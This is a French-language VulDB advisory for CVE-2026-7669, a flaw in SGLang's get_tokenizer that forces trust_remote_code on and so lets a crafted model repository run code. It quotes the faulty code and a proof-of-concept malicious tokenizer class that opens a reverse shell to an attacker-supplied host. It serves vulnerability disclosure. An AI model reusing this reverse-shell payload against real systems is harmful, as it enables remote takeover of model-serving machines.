sgl-project SGLang jusqu’à 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code élévation de privilèges

CVSS Score méta-temporairePrix actuel de l'exploit (≈)Score d'intérêt CTI
6.9$0-$5k1.01

Résuméinformation

Une vulnérabilité a été trouvé dans sgl-project SGLang jusqu’à 0.5.9 et classée critique. Ceci affecte la fonction get_tokenizer du fichier python/sglang/srt/utils/hf_transformers_utils.py du composant HuggingFace Transformer Handler. L’exploitation de l’argument trust_remote_code avec la valeur d’entrée False dans le contexte de Boolean entraîne élévation de privilèges. Cette vulnérabilité a été nommée CVE-2026-7669. L'attaque peut être initialisée à distance. Par ailleurs, un exploit est disponible.

Détailsinformation

Une vulnérabilité qui a été classée critique a été trouvée dans sgl-project SGLang jusqu’à 0.5.9 (Artificial Intelligence Software). Affecté par cette vulnérabilité est la fonction get_tokenizer du fichier python/sglang/srt/utils/hf_transformers_utils.py du composant HuggingFace Transformer Handler. A cause de la manipulation du paramètre trust_remote_code de la valeur d'entrée False mène à une vulnérabilité de classe élévation de privilèges.

Le bug a été découvert sur 07/04/2026. La vulnerabilité a été publié par Nicholas Gould, David Rochester (ngould et davidrochester) (non défini). Cette vulnérabilité est connue comme CVE-2026-7669. Ellse est difficile à utiliser. L'attaque peut être lancée à distance. Aucune forme d'authentification est requise pour l'exploitation. Des details techniques et aussi un public exploit sont connus. La raison de cette vulnérabilité est cette partie du code:

# python/sglang/srt/utils/hf_transformers_utils.py:898-909                                                                                                                                                
  if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
      tokenizer = AutoTokenizer.from_pretrained(
          tokenizer_name,
          *args,                                                                                                                                                                                            
          trust_remote_code=True,
          tokenizer_revision=tokenizer_revision,                                                                                                                                                            
          clean_up_tokenization_spaces=False,                                                                                                                                                               
          **kwargs,
      )

Un exploit a été developpé par Nicholas Gould/David Rochester (gouldnicholas/davidrxchester) en Python. L'exploit est disponible au téléchargment sur github.com. Il est déclaré comme preuve de concept. Cette vulnérabilité a été classée comme 0-day non publique pendant au moins 25 jours. Le code utilisé par l'exploit est:

import os, pathlib                                                                                                                                                                                        
  from transformers import PreTrainedTokenizerFast                                                                                                                                                          
   
  class MaliciousTokenizer(PreTrainedTokenizerFast):                                                                                                                                                        
      def __init__(self, *args, **kwargs):
          pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")                                                                                                                                        
          host = os.environ.get("ATTACKER_HOST")                                                                                                                                                            
          if host:
              import socket                                                                                                                                                                                 
              s = socket.socket()
              s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))                                                                                                                               
              os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)                                                                                                                        
              os.execve("/bin/sh", ["sh"], os.environ)                                                                                                                                                      
          super().__init__(*args, **kwargs)

Il n'y a aucune information à propos de possibles contremesures connues. Il est suggéré de remplacer l'object infecté par un produit alternatif.

La vulnérabilité est aussi documentée dans la base de données EUVD (EUVD-2026-26802). Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Produitinformation

Taper

Fournisseur

Nom

Version

CPE 2.3information

CPE 2.2information

CVSSv4information

VulDB Vecteur: 🔒
VulDB Fiabilité: 🔍

CVSSv3information

VulDB Score méta-base: 7.2
VulDB Score méta-temporaire: 6.9

VulDB Note de base: 5.6
VulDB Note temporaire: 5.1
VulDB Vecteur: 🔒
VulDB Fiabilité: 🔍

Chercheur Note de base: 8.8
Chercheur Vecteur: 🔒

CVSSv2information

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VecteurComplexitéAuthentificationConfidentialitéIntégritéDisponibilité
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller

VulDB Note de base: 🔒
VulDB Note temporaire: 🔒
VulDB Fiabilité: 🔍

Chercheur Note de base: 🔒

Exploitationinformation

Classe: élévation de privilèges
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒

Physique: Non
Local: Non
Remote: Oui

Disponibilité: 🔒
Accès: Public
Statut: Preuve de concept
Auteur: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Langage de programmation: 🔒
Télécharger: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Prédiction de prix: 🔍
Estimation actuelle des prix: 🔒

0-DayDéverrouillerDéverrouillerDéverrouillerDéverrouiller
Aujourd'huiDéverrouillerDéverrouillerDéverrouillerDéverrouiller

Renseignements sur les menacesinformation

Intérêt: 🔍
Acteurs actifs: 🔍
Groupes APT actifs: 🔍

Contre-mesuresinformation

Recommandé: aucune mesure d'atténuation connue
Statut: 🔍

Heure 0 jour: 🔒
Délai d'exploitation: 🔍

Chronologieinformation

07/04/2026 Vulnérabilité trouvée
07/04/2026 +0 jours Fournisseur informé
02/05/2026 +24 jours Avis publié
02/05/2026 +0 jours Entrée VulDB créée
03/05/2026 +1 jours Exploit publié
04/05/2026 +1 jours Dernière mise à jour VulDB

Sourcesinformation

Chercheur: Nicholas Gould, David Rochester (ngould, davidrochester)
Statut: Non défini

CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013

Entréeinformation

Créé: 02/05/2026 10:05
Mise à jour: 04/05/2026 06:26
Changements: 02/05/2026 10:05 (54), 03/05/2026 04:01 (1), 04/05/2026 06:23 (51), 04/05/2026 06:26 (8)
Complet: 🔍
Auteur: ngould
Committer: ngould
Cache ID: 216::103

Soumettreinformation

Accepté

  • Soumettre #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (par ngould)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion

Aucun commentaire pour l'instant. Langues: fr + it + en.

Veuillez vous connecter pour commenter.

Do you need the next level of professionalism?

Upgrade your account now!